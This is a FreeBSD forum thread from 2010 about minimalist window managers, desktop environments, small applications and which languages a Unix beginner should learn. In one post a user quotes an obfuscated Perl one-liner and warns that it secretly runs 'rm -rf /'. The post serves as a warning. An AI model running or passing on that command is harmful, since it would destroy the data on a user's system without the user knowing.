Gnome does a much better job at having sane default applications, but its choice of email client is dumb. Also including the whole of mono just for a postit note taking application???!


----------



## nekoexmachina (May 13, 2010)

> twm *is* functional.


I did not want to harm anyones feelings, so sorry 
As for me, it is not, because of lack of features you've just called.



> than editing the source and recompiling (e.g. dwm).


It is not hardcore source editing, mostly it's just config.h-editing, which is as simple as text-file editing. 
Also, when i've used xmonad (it is configured via haskell-source editing, too) i've compiled it just, errr, once.


> A window manager must do just that: manage windows!


Yup. And managing windows includes properly placing it on the screen without (or with minimal one-time) users participation.


----------



## kpedersen (May 13, 2010)

Beastie said:
			
		

> automatically set windows' location/size when they start



It can do this,

I remember looking how to get this working for a while, but it is possible just changing twmrc IIRC.

I will update when I find it 

EDIT:

"RandomPlacement"

This should allow the window to just appear with its default size (no manually sizing)

But you cannot specify it directly, if that is what you mean. (And after re-reading your post, I do believe that is what you mean )


----------



## ProFTP (May 13, 2010)

The communistic analogue computer:  http://forums.freebsd.org/showpost.php?p=81634&postcount=19


----------



## fronclynne (May 13, 2010)

*I do like it*

Yes.


----------



## Beastie (May 13, 2010)

kpedersen said:
			
		

> "RandomPlacement"
> 
> This should allow the window to just appear with its default size (no manually sizing)
> 
> But you cannot specify it directly, if that is what you mean. (And after re-reading your post, I do believe that is what you mean )


I know about *RandomPlacement* and it's one of the first things I set when I first tried twm.

If I understand it correctly, your second guess is right. I meant giving each application a specific X geometry, e.g. browser at *990x600+0+0*.


----------



## john_doe (May 13, 2010)

I wonder if WMs like xmonad and stumpwm/clfswm are considered minimalistic. They need compiler and language-specific libraries that most likely will not be used by anything else unlike some WM that's written in python (e.g. qtile, partiwm). There are already many graphical apps in ports that depend on python and python libs.


----------



## ckester (May 13, 2010)

john_doe said:
			
		

> I wonder if WMs like xmonad and stumpwm/clfswm are considered minimalistic. They need compiler and language-specific libraries that most likely will not be used by anything else unlike some WM that's written in python (e.g. qtile, partiwm). There are already many graphical apps in ports that depend on python and python libs.



Good point.  

One of my hobbyhorses is shared libraries and toolchains that aren't really shared.  They only create the _illusion_ of a lightweight executable.

Many so-called shared libraries are used only by the app that installed them, and should really be counted as part of that app's footprint.

The question should always be, what _additional_ resources are required to run this software?  If a library was already loaded and in use by several other apps, then it's fair to disregard it when figuring the system load.  Otherwise, not.  (This means, btw, that a shared library isn't really "shared" if the apps that use it are almost never run simultaneously.   Almost nobody runs more than one music player at a time, so you don't get to discount that PulseAudio library as "shared".   )


----------



## sk8harddiefast (May 13, 2010)

i want to install fvwm2. Is like gnome, xfce etc or is more terminal like fluxbox?


----------



## ckester (May 13, 2010)

Re GUI calculators, like galculator and the one in MS-Windows: 

Copying the layout of the typical handheld device was a cute idea back when the desktop metaphor was introduced, but using point-and-click to enter individual digits is an extraordinarily bad UI.    Those on-screen buttons are a waste of pixels, and the code behind them is unnecessary bloat.

(My opinion. YMMV.)


----------



## Beastie (May 13, 2010)

sk8harddiefast said:
			
		

> i want to install fvwm2.Is like gnome, xfce etc or is more terminal like fluxbox?


It's definitely not like GNOME or Xfce (which are DEs, not just WMs) and I don't understand what you mean by "more terminal".
By default it looks very much like twm. But it's so customizable you can make it look like anything: eg1, eg2.


----------



## graudeejs (May 13, 2010)

Beastie said:
			
		

> It's definitely not like GNOME or Xfce (which are DEs, not just WMs) and I don't understand what you mean by "more terminal".
> By default it looks very much like twm. But it's so customizable you can make it look like anything: eg1, eg2.



Bad example. Both screenshots look very similar
http://www.lynucs.org/?fvwm
http://www.fvwm.org/screenshots/desktops/


Then again, they all are quite similar, aren't they?


----------



## sk8harddiefast (May 13, 2010)

> and the one in MS-Windows:


that means?


----------



## Beastie (May 13, 2010)

> and the one in MS-Windows:
> 
> 
> 
> ...


math/galculator looking very similar to Windows' calc.exe...


----------



## Beastie (May 13, 2010)

killasmurf86 said:
			
		

> Bad example. Bough screenshots look very similar


I was just pointing the fact that it can look as "primitive" as twm, or as "modern" and "flashy" as those examples, i.e. twm-like vs. XYZ, not ABC vs. DEF vs....

And they look very similar because they're made by the same person.


----------



## sk8harddiefast (May 14, 2010)

i want to learn C 
I always wanted to create my wm like dwm, ion etc.
Also i want to make one question i always was curious. All gui apps on unix, what languages they are?
I want to learn C but is too difficult and i know only the basics. Any simple language to start learning?  like visual basic of windows on unix. (I don't want mono). Alternative?


----------



## Beastie (May 14, 2010)

C was developed at the Bell Labs (AT&T) _for_ UNIXÂ®. It is THE language in the Unix world.

IMO, it is still low-level enough and simple compared to the rest.

Most of FreeBSD's source is written in C, with some parts written in assembly, shell scripting, Perl scripting, Forth, etc.
As for GUI applications (as in the port system), they can be written in mostly anything. Check these Wikipedia pages for all the GTK+ and Qt bindings, for instance. Huh, you can even code them in assembly if you want.


----------



## graudeejs (May 14, 2010)

Beastie said:
			
		

> you can even code them in assembly if you want.



Everything can be done in assembly.... it's just insane to actually try to do it


----------



## sk8harddiefast (May 14, 2010)

i tried to learn assembly
this is an asembly pdf 1400 pages. the art of assembly: http://www.planetpdf.com/codecuts/pdfs/aoa.pdf (click to download the pdf)
For me C is too hard to learn it. Assembly is impossible.
And the dream of my life is to create my os. That means never 
If i cannot even learn C i will never make it


----------



## ckester (May 14, 2010)

A Unix programmer needs three main languages in his toolbox:  Shell, Python and C.   I recommend beginners learn them in that order.

The best book I've seen on shell scripting is by Arthur & Burns:  Unix Shell Programming.  Save money, buy yourself a used copy. 

The official Python website has a good online tutorial, along with other references and book recommendations.

There are Qt and Gtk bindings for Python, and I recommend beginners use them rather than struggle with the C++ interfaces.

I no longer recommend C++ or Java for anything.  But you'll need them if you're going to be hacking on other people's code.   (I'm not a web programmer, and don't know if people are still using Javascript for that kind of thing.  But you said you wanted to be a *Unix* programmer.)

Since this is a thread about minimalism, it's hard to recommend Perl rather than Python.     You certainly don't need both.  But again, you might eventually pick up some Perl in order to hack on someone else's code.  Otherwise, don't bother.

Assembly is the coolest thing ever and I love it.  But save it for much much later when you know what you're doing and why.

I have never recommended Forth (never learned it either.)  You'll probably never need it, since it's only found in little niches well off the beaten track.   Haskell and Occam are the same way.  Don't misunderstand me: they're all fine languages with some excellent points in their favor.   It's just that very few people use them, and a beginner is better advised to spend his time learning some of the more mainstream languages.


----------



## psycho (May 14, 2010)

yes you are right about /bin/sh and C. But python,oh come on...
In my opinion, it is perl.
I mean it has its own man section , at least on OpenBSD


----------



## expl (May 14, 2010)

psycho said:
			
		

> yes you are right about /bin/sh and C. But python,oh come on...
> In my opinion, it is perl.
> I mean it has its own man section , at least on OpenBSD



Well I know everyone loves Perl (and Pascal, lol?) in Russia, but Python has overgrown most other interpreted languages except maybe MS .net and its required to know in a lot of programming job offers.


----------



## psycho (May 14, 2010)

as my friend killasmurf86 used to say:


> Python is easy to learn and easy to forget.


----------



## ckester (May 14, 2010)

psycho said:
			
		

> yes you are right about /bin/sh and C. But python,oh come on...
> In my opinion, it is perl.
> I mean it has its own man section , at least on OpenBSD



Did you miss my joke about not being able to recommend Perl in a thread about minimalism?


----------



## psycho (May 14, 2010)

yes


----------



## sk8harddiefast (May 14, 2010)

is any paint program like kolourpaint,just simple without a lot dependencies?I would say xpaint but is any alternative?


----------



## nekoexmachina (May 14, 2010)

there was some tuxpaint that was described as simple image editor. also, if it is not lack on resources, i would recommend gimp for most of things (well, i've meant for the things that you can not do with imagmagick )
Because as for me all that *paint things are much more pain then wasting some more resources for gimp.
edit: also, found mtPaint.


----------



## rbelk (May 14, 2010)

I guess I'm from the old world. If you can't do it with a shell script, use C!


----------



## sk8harddiefast (May 15, 2010)

i have gimp but i use it more for image editing.i dont like tuxpaint gui but xpaint & mtpaint seems the best solution for me.


----------



## expl (May 15, 2010)

GIMP is my ultimate and most favorite tool (after geany), my life would become dull and gray without it.

Btw, if you already use and have GIMP why would you need a paint-like app? Paint is only good for entertaining small kids .


----------



## sk8harddiefast (May 15, 2010)

i dont know.sometimes when i am boring i do anything to make time pass.What is exactly geany?


----------



## Beastie (May 15, 2010)

+1 for mtPaint. But of course nothing can beat GIMP for anything really serious.

Geany is a text editor/IDE.


----------



## sk8harddiefast (May 15, 2010)

> Geany is a text editor/IDE


I mean what i can do with that? I could write C code for example? what his difference from nedit, mousepad etc?


----------



## Beastie (May 15, 2010)

As I said it's an IDE (description & features, screenshots). The other two aren't.


----------



## sk8harddiefast (May 15, 2010)

Ok.now i understood. is really that i was searching to make my job. Of course installed


----------



## ckester (May 15, 2010)

Have any of the geany plugins been ported yet?

As a vim/cgdb user I'm not real keen on IDE's myself, but if you're going to go that way, geanygdb looks like a must-have.


----------



## expl (May 15, 2010)

Running in-build terminal (geany tab or even separate terminal opened from geany at run event) with gdb in it is enough for me. Its not like you need hotlinks as lines are easy to find unless your source files go over few thousand lines.


----------



## ProFTP (May 15, 2010)

perl program 

```
cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
```
do not start
this is hidden *rm -rf /* and all remove

http://translate.google.com/transla...u/forum/development/392747/page-1&sl=ru&tl=en


----------



## graudeejs (May 15, 2010)

ProFTP said:
			
		

> perl program
> 
> ```
> cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
> ...



how does this relates to this thread? I'm lost


----------



## ProFTP (May 15, 2010)

killasmurf86 said:
			
		

> how does this relates to this thread? I'm lost





> Do you like minimalism ?


???

http://forums.freebsd.org/showthread.php?t=13983&page=4


----------



## graudeejs (May 15, 2010)

ProFTP said:
			
		

> ???
> 
> http://forums.freebsd.org/showthread.php?t=13983&page=4



Ye, your right.... on 3rd page you start to forget, what are you talking about


----------



## ckester (May 15, 2010)

Probably my fault, for making a joke about Perl.

For the record, not all Perl code is as obfuscated (or as dangerous?) as the snippet above.


----------



## sk8harddiefast (May 30, 2010)

What is the less gui window manager? Gnome,kde,lxde of xfce are huge!
I like jwm or ede but ede is not suppoprted for x64 
Something that have desktop, bars, button etc but to small without 50 dependencies. 5 the most!


----------



## nekoexmachina (May 30, 2010)

what do you mean with 'has desktop, bars, buttons'?
also all of your list except jwm are desktop enviroments, and jwm is wm.


----------



## sk8harddiefast (May 30, 2010)

I mean destop enviroment but the most simple without dependencies etc.


----------



## fronclynne (May 30, 2010)

x11/lxde-meta is pretty light (comparatively).  Though honestly, if you don't want all the baggage, just RYO: install a wm and a few apps that you like and leave it at that.

Most DEs are not really much more than a wm, a custom terminal client, a custom file manager, maybe an editor, a clock, some games, and a preferred browser, mail, & office package (maybe with custom widgits).  So, install x11-wm/fvwm2, x11-clocks/bclock, rxvt-unicode, mc, vim, use good ol' xcalc, I dunno about games, joe (/usr/local/bin/jstar rocks for real word processing), scribus, err some spreadsheet (they all suck, frankly), graphics/xv for desktop images, you already have x11/xwd, etc etc.


----------



## vermaden (May 30, 2010)

@sk8harddiefast

Propably LXDE, or if You take it from the other perspective (minimalist to say), then all software from http://suckless.org/ can be treated as a 'de' in terms of completeness, they provide software for many tasks, as casual desktop environment like GNOME/KDE, but their own minimalistic way.


----------



## sk8harddiefast (May 30, 2010)

icewm could be just fine.
By default has only a menu and a bar on bottom with 4 desktop,menu bar and clock. But i need idesk for desktop icons


----------



## ckester (May 31, 2010)

x11-wm/dwm is probably the most minimalistic window manager, but users unfamiliar with C programming often find its use of config.h to do configuration off-putting.

It's not as minimalistically elegant as dwm, but I like x11-wm/musca.  It installs dmenu by default, but otherwise eschews all the usual window decorations, taskbars and other junk.   

Minimal dependencies: all it needs is to build and run is libX11 and dmenu. 

Configuration is done in ~/.musca_start, using a fairly easy-to-understand syntax.

Musca supports both tiled and floating windows.  There's no automatic layout of the tiles, however: you have to do it manually.   But the commands to do so are intuitive, and like everything else in musca, you can do it all at the keyboard, without touching your mouse.

No desktop icons, but if you insist on using point and click in order to launch your favorite apps, you can install x11/fbpanel or similar tool.


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## sk8harddiefast (May 31, 2010)

dwm is my default wm.
This i am using the last 1 year. just try something new. i wanted fvwm but is extremely difficult!
Icewm is really nice. Have a lot of tools for configure it but none by default!
So i use all i had from dwm (for example rexima for my sound) and all i want are loaded from .Xdefaults and .xinitrc 
I dont need gui tool to have transparency on my urxvt 
Has only 1 dependency and is simple a bar with menu and nothing else.
But i want to setup it and i will see and the disadvantage.
The first i saw is that have not a lot themes and this is really bad.
But the worst is that the themes they exist are not good


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## ckester (May 31, 2010)

Themes are a symptom of non-minimalism.

If there are no titlebars and other window decorations, what's left to "theme"?

Scrollbars?  Those are passÃ©.  Have been ever since we got mice with scrollwheels (or touchpads with gestures).  Keyboard junkies will tell you they were always unnecessary, since we already had PgUp, PgDn, Home and End keys.


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## sk8harddiefast (May 31, 2010)

I don't believe that themes are a symptom of non-minimalism.
You could have a very simple wm without dependencies like jwm or icewm with only 1 theme (that you like) for you panel and your window decoration, idesk with 2-3 icons on your desktop and nothing more.
All the others are config files like the menu, xterm transparency, sound,etc.
The only exception is a new config file for wm's menu. All the others still exists on dwm too. No gui & useless tools, no 1000 dependencies, no gui settings. Just a panel & a menu.
This is still minimal. You went from 618 packages to 620. But because icewm have a clock on his panel by default, you remove dclock! Ok.619 packages ! And because you will keep icewm remove dmenu also. Now you are on the same number of packages that you were before and the only thing you have changed on relation with the previous wm is the theme and you make a menu configuration on the new one ! There is balance !
Never mind.I am back to dwm. I am using it so long and i can't change wm


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## carlton_draught (May 31, 2010)

*use the right tool for the job*

Interesting thread. On the original topic, I like to use a good tool for the job. It may or may not be minimalist.

I run gnome because I'm familiar with it from ubuntu. KDE is too cluttered IMO. I'm getting problems with compiz though. Thinking of going back to using wmctrl to emulate the tiling functions of winsplit revolution, rather than compiz grid. The only reason I use compiz is for grid, because it's easier to set up than using wmctrl. However, it is giving me grief. FreeBSD does tend to make one turn minimalist I think, simply because it reduces compile times, reduces opportunity for error in picking compile options, and chance for things to break.

Gnome includes the disk usage analyzer, which is very handy. Thunderbird, the file browser, archive manager. Firefox, because it has so many useful addons (noscript, and a few others I've used in the past).

I use vim, which may or may not be minimalist. It's pretty fast, but there is very little you can't do with it - lots of functions I will never use. But as is said with things like Office - everyone only uses 20% of the features, but everyone uses a _different_ 20%. But vim is completely awesome. So quick, efficient, and powerful. Macros are awesome. Syntax highlighting is cool. Visual mode rocks. And after you wrap your head around it, it's intuitive.

For a calculator I use grpn, but control it with the keyboard. The keys are nice to have because they remind you of the functions available and the correct syntax to use. If it loads instantly, I don't consider it bloated.

I used to use Amarok for music until the new version made it worse (not minimalist). Now I use vlc player, which is more minimalist.

Openoffice is good, not minimalist at all. But I don't want to hamstring myself by using a less featureful office suite.

Editing pictures, GIMP. Drawing stuff, kivio. Neither of them minimalist.

Todo lists - tasque, or gtodo. Neither are minimalist. Sorely tempted to fork one of them and make it do everything I want it to do, as I haven't found any of them function exactly as I think they should.

For programming languages I like to use a good tool for the job - gluing together userland utilities, shell scripting is good. Manipulating text, Perl - and other stuff as well. (Remember that Perl is not just Perl, it has CPAN. So much code to reuse.) Simple calculations, spreadsheets. Complex non-relational calculations, I still use a spreadsheet, probably should learn R. Storing large and complex related information that I want to analyze, especially over and over again, PostgreSQL. When I meet a job that best suits Python, I will learn it. Until then I haven't found I needed to. I will learn Django soon, which will involve Python.


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## purgatori (May 31, 2010)

I don't like minimalism for the sake of minimalism, but merely because it seems to have a number of advantages when implemented in a work environment, such as keeping my rather old hardware from being crushed under the weight of exorbitant resource demands. I also find that minimal apps and window-managers tend to be more economic in terms of configuration and usage, eschewing as they often do clumsy point-and-click interfaces with endless submenus that one has to navigate through in order to accomplish anything. 

They also suit my laziness. Xmonad, for instance, keeps me from having to move my hands from a rather comfortable resting position on the keyboard, and vim+LaTeX keeps me from having to bother to manually format my essays and research reports, or actually learn how to properly format my references in the prescribed APA style. 

It's true that sometimes the learning curve is somewhat greater, and minimalist apps are less 'intuitive', but in most instances, they're much easier to actually *use* once you get to grips with them... which makes my preference pretty cut-and-dry, really.


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## Beastie (May 31, 2010)

sk8harddiefast said:
			
		

> with only 1 theme (that you like) for you panel and your window decoration


_I_ understand minimalism as keeping things to the bare minimum while not sacrificing functionality. Having simple vector or XPM window decorations and a completely row panel (i.e. a bar with buttons) as is possible in fvwm and the likes is what _I_ would call minimalist.



			
				sk8harddiefast said:
			
		

> idesk with 2-3 icons on your desktop


Icons "are a symptom of non-minimalism."  They are superfluous since you can execute the same commands using the historical X "root menu".



			
				sk8harddiefast said:
			
		

> No gui & useless tools, no 1000 dependencies, no gui settings. Just a panel & a menu.


^ These are mostly characteristics of DEs. You're describing virtually every WM out there that isn't based on a major TK. Look at all the *boxen, aewm, evilwm, golem, ion, lwm, musca, pekwm, ratpoison, twm, etc.
And if you already have GTK+-based (not particularly minimalist, I concur) applications, even metacity (GNOME's WM) won't look so big when it comes to dependencies.


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## sk8harddiefast (May 31, 2010)

> Icons "are a symptom of non-minimalism."  They are superfluous since you can execute the same commands using the historical X "root menu".


Ok. I will agree with that.
But general i believe that minimalism is not a lot of packages, packages without a lot dependencies, a wm like dwm, fluxbox etc and not a lot gui !
The most things running from terminal but sometimes  a simple icon for your music which is on a subsubsubsub folder on the 1 of 5 hdds 1 tb each one is not against minimalism !
Ok. You can do a link on your home folder but an icon on your desktop is not so bad !


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## jumbotron (Jun 7, 2010)

sk8harddiefast said:
			
		

> i wanted fvwm but is extremely difficult!



PPP comon dude...a guy who's a guru on *bsd* saying that...:O:O:O


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## kpedersen (Jun 7, 2010)

OpenCDE will be ideal for you.

Especially if you like your DE buggy 

http://www.opencde.org

(shameless plug, I know 
(Also no release as of yet lol)


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## Beastie (Jun 8, 2010)

kpedersen said:
			
		

> OpenCDE will be ideal for you.
> 
> Especially if you like your DE buggy
> 
> http://www.opencde.org


That's no way to do marketing :e


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## kpedersen (Jun 8, 2010)

lol.

I am as good at marketing as the OpenGroup is at being "open" haha.


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## ProFTP (Jun 11, 2010)




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## sk8harddiefast (Jun 11, 2010)

i think i am in love P P P P


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## d_mon (Aug 27, 2010)

aragon said:
			
		

> Coming soon:
> 
> http://www.freebsd.org/cgi/query-pr.cgi?pr=146302



oh yeah...perhaps near the end of the world(2012)


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## DutchDaemon (Aug 27, 2010)

d_mon said:
			
		

> oh yeah...perhaps near the end of the world(2012)



The chromium ports has been available for months, so long as you're willing to fetch and unpack it yourself. See the thread titled 'Chromium'.


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